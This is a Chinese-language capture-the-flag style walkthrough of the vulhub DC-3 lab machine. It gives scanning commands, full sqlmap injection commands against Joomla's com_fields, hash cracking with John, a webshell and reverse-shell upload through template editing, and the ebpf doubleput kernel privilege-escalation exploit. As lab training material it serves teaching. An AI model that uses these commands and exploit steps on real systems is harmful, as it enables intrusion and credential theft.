vulhub靶场 DC-3 复现学习及细节解析
字数 1193 2025-08-18 11:36:53
DC-3 靶场复现学习及提权详细教程
环境搭建
工具准备
- 攻击机:Kali Linux (IP: 192.168.200.14)
- 靶机:DC-3 (初始IP未知)
网络配置
- 攻击机和靶机需使用相同网络连接模式
- 推荐使用NAT模式(也可使用桥接模式)
- 可通过查看靶机MAC地址确认目标主机
信息收集阶段
1. 扫描存活主机
三种方法扫描同网段存活主机并识别靶机:
arp-scan -l
nmap -sP 192.168.200.0/24 -T4
natdiscover
2. 端口扫描
扫描目标IP开放端口:
nmap -sV -p- 192.168.200.8
参数说明:
-sV:扫描端口上运行的软件信息-p-:扫描全部端口(0-65535)
结果分析:仅开放80端口
3. 目录扫描
使用dirsearch工具扫描后台目录:
dirsearch -u http://192.168.200.8/
发现重要目录:/administrator(后台管理入口)
4. 指纹识别
- 访问网站识别为Joomla CMS
- 使用joomscan扫描:
joomscan -u http://192.168.200.8/
安装joomscan:
sudo apt-get install joomscan
漏洞利用阶段
1. SQL注入获取管理员凭证
使用SQLmap进行注入攻击:
- 列出数据库:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
- 列出joomladb数据库中的表:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
发现#_users表
- 列出users表字段:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
- 爆出用户数据:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbms mysql -D joomladb -T '#__users' -C id,name,password,username --dump
获取到哈希值:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
- 使用John破解哈希:
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > admin.txt
john admin.txt
破解结果:用户名为admin,密码为snoopy
2. 登录后台并上传Webshell
- 使用获取的凭证登录Joomla后台(
/administrator) - 通过模板编辑功能上传Webshell:
- 在
/templates/beez3/目录下创建test.php文件 - 写入一句话木马
- 在
- 使用蚁剑连接Webshell
3. 反弹Shell
- 在
/templates/beez3/目录上传反弹shell文件(shell.php) - 执行反弹shell获取交互式终端
提权阶段
1. 查找系统漏洞
使用searchsploit查找Ubuntu 16.04提权漏洞:
searchsploit ubuntu 16.04
发现"拒绝服务漏洞"可用于提权(39772.txt)
2. 下载并编译EXP
- 下载EXP(在靶机中操作):
wget [EXP下载链接]
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
- 编译EXP:
./compile.sh
3. 执行提权
运行提权程序:
./doubleput
等待片刻后获取root权限
关键点总结
- 信息收集:通过MAC地址识别靶机、全面扫描端口和目录
- 漏洞识别:利用Joomla已知漏洞进行SQL注入
- 凭证获取:通过SQLmap提取并破解哈希
- 权限维持:利用后台模板编辑功能上传Webshell
- 提权路径:识别系统版本并利用合适的本地提权漏洞
- EXP使用:正确下载、编译和执行提权程序
注意事项
- 网络配置必须一致(NAT或桥接)
- SQLmap参数要完整(特别是risk和level)
- 上传Webshell时注意路径可访问性
- 提权EXP需要在靶机上下载和编译
- 整个过程可能需要多次尝试,特别是破解哈希和提权阶段